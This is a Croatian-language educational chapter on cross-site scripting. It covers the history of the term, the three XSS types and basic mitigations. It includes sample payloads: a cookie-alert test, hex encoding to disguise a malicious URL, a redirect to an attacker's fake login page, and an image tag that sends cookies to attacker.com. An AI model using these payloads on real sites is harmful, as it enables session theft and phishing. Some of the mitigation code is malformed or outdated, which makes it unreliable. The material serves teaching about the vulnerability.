4. Cross-site scripting – XSS
4.1 Uvod
Cross-site scripting (kasnije nazvan XSS kako bi se napravila razlika između Cascading Style Sheet) je vrsta sigurnosnog propusta koja obuhvaća web aplikacije koje nisu dobro i kvalitetno kodirane i ne provjeravaju ulazne parametre. Ovakva vrsta sigurnosnog propusta omogućuje napadaču da injektira kod u aplikaciju i na taj način zaobiđe mehanizme zaštite na web stranici ili primjeni phishing na korisnike. Činjenica je da preko ranjivih web stranica moguće izvršiti HTML i JavaScript kod sa nevaljalih formi, čije izvršavanje može biti vrlo opasno: moguće je na taj način ukrasti kolačiće (engl. cookie) ili preusmjerit web stranicu tako da prikazuje lažnu login stranicu kako bi omogućilo napadaču da ukrade korisničko ime i lozinku.
To je podcijenjeni problem od strane webmastera, zato što ustvari XSS ne može ugroziti web stanicu sam, već može iskoristit neopreznog korisnika. Potrebno je dosta vremena da se uoče takvi propusti od strane webmastera, a u među vremenu oni predstavljaju ozbiljan sigurnosni problem.
4.2 Povijest
Ime Cross-Site Scripting je izmislio Mark Slemko, XSS pionir, i ustvari ovo ime ne reflektira sve propuste u toj klasi, a on je objasnio taj razlog svojim odgovorom:
"This issue isn't just about scripting, and there isn't necessarily anything
cross-site about it. So why the name? It was coined earlier on when the
problem was less understood, and it stuck. Believe me, we have had more important things to do than think of a better name."
Ime je vrlo brzo prihvaćeno a ujedno se ne radi zabunu s Cascading-Style Sheets i Content-Scrumble Systems. Počevši od Bugtraq zajednice, XSS je postajao sve prihvaćeniji i to je postao "službeni" naziv za takvu vrstu propusta.
4.3 Vrste XSS
Izraz XSS je ustvari pomalo izbjegavan iz razloga što uključuje različite načine napada koji se zasnivaju na različitim mehanizmima napada.
Postoje tri vrste Cross-Site Scripting, nazvanih:
- DOM-temeljen ( engl. DOM-Based XSS )
- neustrajni XSS ( engl. Non-persistent XSS )
- ustrajni XSS ( engl. Persistent XSS )
4.3.1 DOM-temeljen
Dom-temeljen Cross-Site scripting omogućuje napadaču da radi ne na žrtvinoj web stranici već na žrtvinom lokalnom računalu: različiti operacijski sustavi obično sadrže "prije rođenja" neke HTML stranice koje su kreirane za različite ciljeve, ali kako je čovjek sklon napravi grešku te HTML stranice često su iskorištene zbog svoje ranjivosti.
DOM-temeljen XSS exploita ove probleme na korisnikovom lokalnom računalu na ovaj način:
- napadač kreira prikladnu zlonamjernu web stranicu
- neoprezan korisnik otvori tu web stranicu
- korisnik ima ranjivu stranicu na računalu
- napadačev web site pošalje naredbe na ranjivu HTML stranicu
- lokalna ranjiva stranica izvrši te naredbe sa privilegijama trenutnog korisnika na tom računalu
- napadač lako može dobiti pristup žrtvinom lokalnom računalu
Kao što se vidi, ovo je vrlo jednostavan napad, i to je noviji napad koji jednom kad se nađe, upotrebljiv je za stalno. Ovakva vrsta napada je vrlo opasna budući da daje pristup žrtvinom računalu, i sve dok korisnik ne provjerava sigurnost svog računala i ne vrši update, DOM-temeljen XSS propusti rade jako dobro.
Rješenje ovog problema je da treba voditi računa samo o dvije stvari:
- ne treba posjećivati nepouzdane web stranice
- treba redovito osvježavati računalo novim zakrpama
4.3.2 Neustrajni XSS
Neustrajni XSS je najpoznatiji sigurnosni propust koji se može naći na Internetu. Nazvan je "non-persistent" zato što radi na trenutnom HTTP odgovoru sa žrtvine web stranice: on se tek uoči kada web stranica dobije podatke predviđene od napadača kako bi automatski generirali izlaznu stranicu za napadača. Na temelju toga napadač može osigurati neki zlonamjerni kod i probati natjerati server da ga izvrši kako bi se postigli željeni rezultati.
Najčešće primijenjena vrsta takvog propusta je u servisima za pretraživanje na web stranicama: napadač piše neki zlonamjerni HTML kod u textbox, ako je web stranica ranjiva, rezultat je kod koji smo unijeli u textbox, on se prikaže na web stranici. Ako se to dogodi, 99% je vjerojatnost da će mehanizam za traženje izvršiti zlonamjerni JavaScript kod.
Na primjer, ako web stranica radi na ovaj način:
http://www.example.com/search.php?text=TEXTTOSEARCH |
moguće je ubacit HTML tagove u “text” varijablu:
http://www.example.com/search.php?text= <imgsrc="http://attacker.com/image.jpg"> |
Ako je web stranica ranjiva, prikazat će se napadačeva slika kao rezultantna stranica.
Ako pokušamo ubaciti JavaScript kod:
http:///www.example.com/search.php?text= <script>alert(document.cookie)</script> |
Najvjerojatnije će web stranica vratiti pop-up prozorčić s trenutnim kolačićem za web stranicu koja je trenutno posječena. Što naravno nije dobro. Kao što se vidi web stranica će izvršiti bilo koji JavaScript kod koji napadač želi izvršit, ponekad je moguće pronaći da web stranica ima filtar za "" i '', ali to nije veliki problem za napadača. Ovaj sigurnosni problem može napadač iskoristiti kako bi ukrao informacije od korisnika sa žrtvine web stranice, kao na primjer:
http://www.victim.com/search.php?text=MALICIOUSCODE |
Kako bi učinili url (engl. Uniform Resource Locator) manje sumnjivim, korisno je kodirati kod u url-u u heksadekadske vrijednosti. To se može napraviti gotovim servisima na Internetu kao npr.:
http://encoder.playhack.net
primjer kodiranog koda:
<script>alert("XSS")</script> |
Kodirani rezultat izgleda ovako:
%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%22%58%53%53%22%29%3B%3C%2F%73 %63%72%69%70%74%3E |
Te na taj način zlonamjerni kod, se iz ovog oblika:
http://www.victim.com/search.php?text=<script>alert("XSS")</script> |
kriptira u ovakav oblik, koji je korisniku manje razumljiv:
http://www.victim.com/search.php?text=%3C%73%63%72%69%70%74%3E%61%6C% 65%72%74%28%22%58%53%53%22%29%3B%3C%2F%73%63%72%69%70%74%3E |
Te naravno takav kriptirani oblik je za korisnika, puno manje sumnjičav od originalnog odlika.
Analiza napada:
- napadač otkrije da je žrtvina web stranica osjetljiva na XSS napad
- napadač kreira na žrtvinoj web stranici umetnuti link koji će ukrasti osjetljive informacije kao npr. kolačić ili napraviti lažni login na žrtvinoj web stranici.
- napadač omogućuje da korisnik dobije zlonamjerni url kod, kao npr.:
http://www.victim.com/search.php?text= <script> document.location("http://napadacevastranica.com/lazni_login.php") </script>
|
Kodiran u hex notaciji.
- korisnik posjećuje web stranicu i automatski je preusmjeren na napadačevu stranicu za lažno logiranje
- korisnik je pozvan da se ulogira
- lažna web stranica ukrade korisničko ime i zaporku od žrtve
Rješenje ovakvog sigurnosnog propusta je da se vrši provjera koda koji se unosi u web stranicu izbjegavajući HTML tagove ili prihvaćajući samo slova i brojke, kao u ovom primjeru:
Python: cgi.escape($code)
PHP: eregi("[^a-zA-Z0-9_]", $code)
$code = htmlentities($code)
4.3.3 Ustrajan XSS
Ustrajni XSS propust je sličan drugom tipu XSS-a ( neustrajnom XSS), zato što oba rade na žrtvinoj web stranici i pokušavaju pribaviti informacije o korisniku. Razlika je u tome što ranjive web stranice kod ustrajnog XSS-a napadač ne treba osigurati url do korisnika, zato što web stranica zahtjeva od korisnika da unese podatke u sistem, ovo je slučaj kao kod knjige gostiju engl. guestbook.
Obično korisnik koristi takve alate kako bi ostavio poruku na web stranici i na prvi pogled ovo se ne čini kao neka opasna radnja, ali ako napadač otkrije da je sistem ranjiv on može umetnuti neki zlonamjerni kod u svoju poruku i na taj način su svi posjetitelji te web stranice ujedno i žrtve koje će biti napadnute s tim zlonamjernim kodom.
Ovakav propust uspijeva kada alati koji služe za unos poruka ne vrše nikakvu provjeru sadržaja koji se unosi npr. knjiga gostiju, na taj način se samo unesu podaci koje je korisnik pripremio u rezultantnu stranicu.
Napadač je mogao vrlo lako ubaciti zlonamjerni kod kao u ovom primjeru :
<img src="javascript: document.location('http://attacker.com/steal.php?cookie=' . encodeURI(document.cookie));"> |
Ovaj zlonamjerni kod omogućuje napadaču da ukrade kolačić (engl. Cookie) sa korisnikova računala. Ovo je samo jedan primjer od njih mnogo i od mogućih injekcija koje je moguće izvršiti na ranjivoj web stranici. Ustrajni XSS je očito puno opasniji od ostalih načina XSS-a, zato što vrlo lako može ugroziti mnogo korisnika od strane samo jednog napadača. Rješenje ovog problema je isto kao i kod neustrajnog XSS-a.
Cross site scripting poznat kao XSS, događa se kada web aplikacija zaprimi zlonamjerne podatke od nekog korisnika. Mnogi forumi i knjige gostiju dopuštaju unos HTML-a. Mnogima je pojam CSS poznat kao Cascading Style Sheet tako da ta kratica nije upotrebljena za pojam Cross Site Scripting, već se upotrebljava XSS. Potencijalni napadač će ubaciti JavaScript, VBScript, ActiveX, HTML ili Flash u nezaštićenu aplikaciju da prevari korisnika. Proizvod poznat po mnogim XSS propustima je svakako PHPnuke. Ta aplikacija je vrlo često bila metom napada, a napadačima je bila posebno zanimljiva upravo zbog svoje popularnosti.
Provjera XSS rupa:
Nakon što je pronađena XSS rupa u nekoj aplikaciji treba pokušati saznati da li je moguće ukrasti cookie. Ako bilo koji dio web stranice koristi kolačić onda je i moguće da ih se ukrade od korisnika. S obzirom da su XSS propusti različiti ovisno kako su otkriveni, neki testovi trebat će biti napravljeni kako bi se mogao izvršiti izlaz. Ubacujući kôd u skriptu izlaz će biti promijenjen i stranica se može činiti nedostupna.